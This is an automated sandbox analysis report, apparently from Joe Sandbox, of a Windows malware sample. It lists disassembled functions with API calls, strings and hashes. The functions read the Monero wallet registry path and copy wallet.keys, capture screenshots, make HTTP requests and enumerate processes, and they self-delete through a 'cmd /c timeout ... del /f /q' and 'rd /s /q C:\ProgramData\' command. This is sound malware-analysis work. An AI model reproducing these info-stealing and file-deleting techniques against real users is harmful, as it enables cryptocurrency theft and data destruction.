String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$WQL
API String ID: 1611285705-271508173
Opcode ID: 43998352f08da851a8576aa18982d21348fc7535d9f65d2243ad31152b847f37
Instruction ID: 1f3c2959f2875e988fff274ad0cfc773dae4b0a796e3888e8af6fdb4cf884447
Opcode Fuzzy Hash: 43998352f08da851a8576aa18982d21348fc7535d9f65d2243ad31152b847f37
Instruction Fuzzy Hash: 19515F71A01229BBCB15DB99DC45EEFBBBCEF49B60F104215F615A7290D7B49A00CBA0

Function 003D1A30 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 180registrymemorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003D1A48
GetProcessHeap.KERNEL32(00000000,00000104), ref: 003D1A5E
HeapAlloc.KERNEL32(00000000), ref: 003D1A65
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,003E6D8D), ref: 003D1A82
RegQueryValueExA.ADVAPI32(003E6D8D,wallet_path,00000000,00000000,00000000,000000FF), ref: 003D1A9C

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

RegCloseKey.ADVAPI32(003E6D8D), ref: 003D1AA6
lstrcatA.KERNEL32(?,00000000), ref: 003D1AB4
lstrlenA.KERNEL32(?), ref: 003D1AC1
lstrcatA.KERNEL32(?,.keys), ref: 003D1ADC
CopyFileA.KERNEL32(?,00000000,00000001), ref: 003D1BC6
DeleteFileA.KERNEL32(00000000), ref: 003D1C32

Strings

.keys, xrefs: 003D1AD0
SOFTWARE\monero-project\monero-core, xrefs: 003D1A76
wallet_path, xrefs: 003D1A96
\Monero\wallet.keys, xrefs: 003D1AF4

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: FileHeaplstrcat$AllocCloseCopyCreateDeleteObjectOpenProcessQuerySingleSleepThreadValueWaitlstrcpylstrlenmemset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 709784044-218353709
Opcode ID: b6c45bf99a3a787ac2f94454130888c531cfbccdc6eaf4a26456ae4b95bb26ce
Instruction ID: b519b6cd0f708ee1f20041853decaf17f2d2318ce5ca82dbda7a22b552cbc2c7
Opcode Fuzzy Hash: b6c45bf99a3a787ac2f94454130888c531cfbccdc6eaf4a26456ae4b95bb26ce
Instruction Fuzzy Hash: D55141B7910108AFDB05FBB0ED96EEE733CAF54300F444529F5076A291EB746A08CB61

Function 003E39E0 Relevance: 25.1, APIs: 11, Strings: 3, Instructions: 633sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E3B47
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003E3BAA
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003E3CF3

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E2EE0: StrCmpCA.SHLWAPI(00000000,ERROR,?,?,?,?,?,?,?,?,?,?,?,?,?,003E3AD4), ref: 003E2F20

Part of subcall function 003E2FA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E2FFA
Part of subcall function 003E2FA0: lstrlenA.KERNEL32(00000000), ref: 003E3011
Part of subcall function 003E2FA0: StrStrA.SHLWAPI(00000000,00000000), ref: 003E3039
Part of subcall function 003E2FA0: lstrlenA.KERNEL32(00000000), ref: 003E304E
Part of subcall function 003E2FA0: lstrlenA.KERNEL32(00000000), ref: 003E306B

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E3C90
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E3DD9
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003E3E3C
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E3F22
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003E3F85
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003E406B
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003E40C8
Sleep.KERNEL32(0000EA60), ref: 003E40D7

Strings

9j>, xrefs: 003E41C4, 003E41D9, 003E41E1, 003E41F6, 003E4190, 003E41A5, 003E41AD, 003E415C, 003E4171, 003E4179, 003E4125, 003E413A, 003E4142, 003E40EE, 003E4103, 003E410B, 003E409A, 003E40B2, 003E409D, 003E40F1, 003E410E, 003E4128, 003E4145, 003E415F, 003E417C, 003E4193, 003E41B0, 003E41C7, 003E41E4
9j>, xrefs: 003E3B08, 003E4284, 003E40BF, 003E3ABD, 003E3C51, 003E3CB4, 003E3D9A, 003E3DFD, 003E3EE3, 003E3F46, 003E402C, 003E408F, 003E3FE1, 003E3E98, 003E3D4F, 003E3C06, 003E3B6B, 003E3AC2, 003E3B0D, 003E3B70, 003E3C0B, 003E3C56, 003E3CB9, 003E3D54, 003E3D9F, 003E3E02, 003E3E9D, 003E3EE8, 003E3F4B, 003E3FE6, 003E4031, 003E4094
ERROR, xrefs: 003E3B39, 003E3B9C, 003E3C82, 003E3CE5, 003E3DCB, 003E3E2E, 003E3F14, 003E3F77, 003E405D, 003E40BA

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: 9j>$9j>$ERROR
API String ID: 507064821-3122936981
Opcode ID: 2711843cd7ca23775932c0a4dcc46e6f697b3487d77604426c366b0262bea3d8
Instruction ID: a8acfe25c4d8406205c3106c3241cfded37bd42c5413e6585838058252127229
Opcode Fuzzy Hash: 2711843cd7ca23775932c0a4dcc46e6f697b3487d77604426c366b0262bea3d8
Instruction Fuzzy Hash: 9D2223778101586ECB16F7B0ED97DEE733CAF10340F444676F5066A296EF34AB089662

Function 003DFFC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 180registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

RegOpenKeyExA.KERNEL32(00000000,031CB7E0,00000000,00020019,00000000,003F01E9), ref: 003E0009
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E0052
wsprintfA.USER32 ref: 003E007C
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 003E009A
RegQueryValueExA.KERNEL32(00000000,031D5278,00000000,000F003F,?,00000400), ref: 003E00CA
lstrlenA.KERNEL32(?), ref: 003E00DF
RegQueryValueExA.KERNEL32(00000000,031D5470,00000000,000F003F,?,00000400,00000000,?,?,00000000,80000002,003F3408), ref: 003E0156

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Strings

- , xrefs: 003E0160
?, xrefs: 003DFFFB
%s\%s, xrefs: 003E0076

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$Enumlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 1989970852-3278919252
Opcode ID: 3283d7409f92b6330303464ee0c66eb1c0adc2c5e40da947665ab78b3f67e3a1
Instruction ID: eaf15d69f1ef0fd52b4a6e5103458a9a7abea766aec14bbe7a95b74a551aae01
Opcode Fuzzy Hash: 3283d7409f92b6330303464ee0c66eb1c0adc2c5e40da947665ab78b3f67e3a1
Instruction Fuzzy Hash: 15615AB2900119AFDB15DB90DC95FEFB77DEF44700F048259F206A7290EB706A4ACBA1

Function 003D43E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

GetProcessHeap.KERNEL32(00000000,05F5E0FF,?,?,?,?,?,?,00000030), ref: 003D441C
RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,?,00000030), ref: 003D4423
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D4442
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000030), ref: 003D445A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D4482
HttpOpenRequestA.WININET(00000000,GET,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D44BC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D44E0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D44EF
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 003D450E
InternetReadFile.WININET(00000000,?,00000400,00000001), ref: 003D4566
InternetCloseHandle.WININET(00000000), ref: 003D4597
InternetCloseHandle.WININET(00000000), ref: 003D45A4
InternetCloseHandle.WININET(00000000), ref: 003D45AB

Strings

GET, xrefs: 003D44B6

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: a6926cfac269acbabf8a5d7d046fc1365a75d27486008e339d50e77d4a013d38
Instruction ID: eee9fa4b7aea12c64defe83df34b5eb7d13d4746594eb4696cc679f7e30f931f
Opcode Fuzzy Hash: a6926cfac269acbabf8a5d7d046fc1365a75d27486008e339d50e77d4a013d38
Instruction Fuzzy Hash: E1519AB2A40219AFDB11DBA4ED85FAF77BDEB48700F048119FA05E7291D7709E04CBA1

Function 003E1530 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003E159C
GetWindowRect.USER32(00000000,?), ref: 003E15A9
SelectObject.GDI32(00000000,00000000), ref: 003E15D5
GlobalFix.KERNEL32(00000043), ref: 003E165B
GlobalSize.KERNEL32(00000043), ref: 003E1668

Strings

po>C, xrefs: 003E15FE, 003E1630, 003E16D1, 003E1601, 003E163A, 003E16D4
image/jpeg, xrefs: 003E1617
po>C, xrefs: 003E1579, 003E1705, 003E1687, 003E168C

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: GlobalWindow$DesktopObjectRectSelectSize
String ID: image/jpeg$po>C$po>C
API String ID: 4231556420-299507491
Opcode ID: b5a84f699c34266015248da6f87e8c0115dc767425e32919ade4f3388a7ffcb3
Instruction ID: 8495eecc20ba247c8043e4931013e7b96224efc313bfbbf9f28a7907fac26fe0
Opcode Fuzzy Hash: b5a84f699c34266015248da6f87e8c0115dc767425e32919ade4f3388a7ffcb3
Instruction Fuzzy Hash: 675124B6950208AFDB04EFB4EC89EEF77BDEF48711F009519F905D6250DB7099448BA1

Function 003E3230 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 134COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003E3249
memset.MSVCRT ref: 003E3255
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 003E326A

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

ShellExecuteEx.SHELL32(0000003C), ref: 003E33B5
memset.MSVCRT ref: 003E33C2
memset.MSVCRT ref: 003E33D4
ExitProcess.KERNEL32 ref: 003E33E5

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Strings

/c timeout /t 10 & del /f /q ", xrefs: 003E3286
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 003E331A
" & rd /s /q "C:\ProgramData\, xrefs: 003E32CC
" & exit, xrefs: 003E330F, 003E335D
<, xrefs: 003E338D

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1134881415-1686486140
Opcode ID: c77b25cfc736144ca70591116010e249453c3281b035129b819b6cd262c2f65c
Instruction ID: 8bca64d41ec18fcf853ca14c090e1c6a1ef13899b92f14db03e80132955a7ed9
Opcode Fuzzy Hash: c77b25cfc736144ca70591116010e249453c3281b035129b819b6cd262c2f65c
Instruction Fuzzy Hash: 8051DFB2C10158AECB06EBA0ECD2DEEB778BF14700F54426AF21776191DB706749CB95

Function 003E6510 Relevance: 20.5, APIs: 4, Strings: 7, Instructions: 1232networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003E1400: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E1439
Part of subcall function 003E1400: Process32First.KERNEL32(00000000,00000128), ref: 003E1449
Part of subcall function 003E1400: Process32Next.KERNEL32(00000000,00000128), ref: 003E145B
Part of subcall function 003E1400: StrCmpCA.SHLWAPI(?,003F3EE4), ref: 003E1470
Part of subcall function 003E1400: FindCloseChangeNotification.KERNEL32(00000000), ref: 003E1482

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,031D52F0,00000000,?,003F01E9,00000000,003E76BE), ref: 003E6A16
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003E6B22
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003E6B3C

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E0420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 003E043C
Part of subcall function 003E0420: GetVolumeInformationA.KERNEL32({k>,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003E0475
Part of subcall function 003E0420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003E04BF
Part of subcall function 003E0420: HeapAlloc.KERNEL32(00000000), ref: 003E04C6

Part of subcall function 003D3E20: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D3EAC
Part of subcall function 003D3E20: StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000030), ref: 003D3EC7

Part of subcall function 003E23F0: StrCmpCA.SHLWAPI(00000000,block,?,003E6B9A), ref: 003E240D
Part of subcall function 003E23F0: ExitProcess.KERNEL32 ref: 003E2418

Part of subcall function 003DE870: StrCmpCA.SHLWAPI(00000000,031D0A38), ref: 003DE8C0
Part of subcall function 003DE870: StrCmpCA.SHLWAPI(00000000,031D08A8), ref: 003DE947

Part of subcall function 003D5BB0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D5C3C
Part of subcall function 003D5BB0: StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000030), ref: 003D5C57

Part of subcall function 003E1F00: strtok_s.MSVCRT ref: 003E1F24

Sleep.KERNEL32(000003E8), ref: 003E6F45

Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,031D5500,?,00000104,?,00000104,?,00000104,?,00000104), ref: 003E5D5B
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,00000000), ref: 003E5D7E
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,?), ref: 003E5D9A
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,?), ref: 003E5DAE
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,031CA7B8), ref: 003E5DC1
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,?), ref: 003E5DD5
Part of subcall function 003E5D00: lstrcatA.KERNEL32(?,031D5CD0), ref: 003E5DE9

Part of subcall function 003D45D0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000030), ref: 003D4641
Part of subcall function 003D45D0: StrCmpCA.SHLWAPI(?,031D06D8,003F01E9,003F01E9,003F01E9,003F01E9), ref: 003D46A6
Part of subcall function 003D45D0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D46CC

Strings

_DEBUG.zip, xrefs: 003E73F9
zapto, xrefs: 003E7380
org, xrefs: 003E73C4
http://, xrefs: 003E72F8
arp, xrefs: 003E731A
dabl, xrefs: 003E733C
.exe, xrefs: 003E693D, 003E7293

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
